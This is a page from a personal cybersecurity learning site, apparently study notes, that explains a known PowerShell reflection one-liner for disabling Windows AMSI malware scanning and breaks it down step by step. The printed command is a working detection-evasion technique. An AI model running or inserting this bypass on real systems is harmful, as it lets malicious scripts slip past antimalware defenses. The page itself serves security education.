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The Cyber Security Library
  • The Library
  • Offensive Security
    • Solar, Exploiting log4j
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    • Insekube
      • Recon with Nmap
      • Checking out the web address
      • Creating a Reverse shell
      • Inside the Kubernetes pod
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      • What is Snort? (For the uninitiated)
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    • Runtime Detection Evasion
      • Learning Objectives of AMSI
      • Runtime detections
      • AMSI Overview
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      • Powershell Downgrade
      • Powershell Reflection
      • Patching AMSI
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      • Taxonomy of Reconnaissance
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    • Introduction to Malware Analysis
      • What are the different types of malware analysis
      • Doing different types of analysis
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    • Ransomeware: Maze
    • Exploring Steganography
    • Simple Trojan with Python
      • The Python Trojan
      • Breaking down the python code
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      • Introduction
      • Nessus Essentials
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      • Running custom scans
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      • AWS CDK: Deploy and using amazon SQS Que from Repo
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      • Using Different AWS Services with Splunk
        • AWS Config
          • How Does Config work?
          • How to enable Config
          • Settings
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          • Creating Config Resource
          • Creating Aggregator
          • Adding Rules
        • CloudTrail
          • What is CloudTrail?
          • Features of CloudTrail
          • Benefits of CloudTrail
          • CloudTrail Event History
          • Securing CloudTrail
        • EventBridge
          • Configuring EventBridge and Event Patterns
          • EventBridge Targets
        • CloudWatch
          • The CloudWatch Dashboard
            • Virtual Machine
          • CloudWatch Alarms and Metric Filters
            • Searching logs using metric filters
            • CloudWatch Alarms
          • CloudWatch CIS Alarms
            • SNS
        • Configuring VPC Flow Logs
          • An introduction to VPC flow logs
        • Automating Incident Response with EventBridge
          • Creating Lambda functions
        • CloudTrail SIEM Integration (Splunk)
          • AWS architecture for integrating with Splunk
      • AWS DevOps EBS Volumes
        • CloudWatch
        • EBS Volume
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      • EKS Creating a deployment with AWS in the command Line
        • Setting up AWS Cloud9
        • Creating a Cluster
        • Creating Deployment
      • How to CloudShell SSH in to ec2 Instances
    • Azure
      • Worker CTF (Azure DevOps)
        • Enumeration
        • Using SVN
        • Exploring the Domain
        • Cracking Azure DevOps console
      • Software development environments and Azure DevOps pipeline abuse
        • Accessing Azure Devops
        • Exploring Project Pages
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    • Splunk SIEM Integration
      • AWS architecture for integrating with Splunk
    • Splunk Threat Hunting Ep.6 Credential Access
  • DevOps
    • Using AWS, Docker, Jenkins and SonarQube to improve code quality
      • Updating the Cloud Instance and Getting Docker
      • Installing SonarQube
      • Creating Jenkins Server
      • Manaing SonarQube and Jenkins
    • Creating a Codebuild project and getting the output with CloudWatch Logs
      • IAM
      • CodeBuild
  • CTF's
    • THM Wonderland
      • Nmap and Gobuster
      • Entering Wonderland
      • Privilege Escalation
    • Healthcare OpenEMR system -THM Plotted EMR
      • Recon with Nmap
      • Exploring the ports found
      • Gobuster
      • Searchsploit Open emr
    • Steam Cloud CTF Exploiting Kubernetes
      • SteamCloud Privilege Escalation
    • THM Flatline CTF
      • Recon with Nmap
      • Searchsploit for freeswitch
      • Using the exploit
      • Escalating my privileges
      • Gaining access inside the Windows RDP
    • Biteme CTF
      • Recon
      • Looking into the PHP code and decoding hexadecimal
      • Python script and Bash script
      • Bruteforcing MFA Code
      • Trying to gain access via SSH
      • Inside SSH
      • Fail2ban Privilege Escalation
    • Devoops CTF
      • Enumeration
      • Exploiting Web Page
      • Creating Python exploit
    • GoBox CTF
      • Enumeration
      • Using Burpsuite and creating Reverse shell
    • Explore: Android Box
      • Enumeration
      • Initial foothold
      • Privilege escalation
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  1. Offensive Security
  2. Runtime Detection Evasion

Powershell Reflection

PreviousPowershell DowngradeNextPatching AMSI

Last updated 3 years ago

Reflection allows a user or administrator to access and interact with .NET assemblies. From the Microsoft docs, "Assemblies form the fundamental units of deployment, version control, reuse, activation scoping, and security permissions for .NET-based applications." .NET assemblies may seem foreign; however, we can make them more familiar by knowing they take shape in familiar formats such as exe (executable) and dll (dynamic-link library).

PowerShell reflection can be abused to modify and identify information from valuable DLLs.

The AMSI utilities for PowerShell are stored in the AMSIUtils .NET assembly located in System.Management.Automation.AmsiUtils.

Matt Graeber published a one-liner to accomplish the goal of using Reflection to modify and bypass the AMSI utility. This one-line can be seen in the code block below.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)r

To explain the code functionality:

First, the snippet will call the reflection function and specify it wants to use an assembly from [Ref.Assembly] it will then obtain the type of the AMSI utility using GetType.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

The information collected from the previous section will be forwarded to the next function to obtain a specified field within the assembly using GetField.

.GetField('amsiInitFailed','NonPublic,Static')

The assembly and field information will then be forwarded to the next parameter to set the value from $false to $true using SetValue.

.SetValue($null,$true)

Once the amsiInitFailed field is set to $true, AMSI will respond with the response code: AMSI_RESULT_NOT_DETECTED = 1

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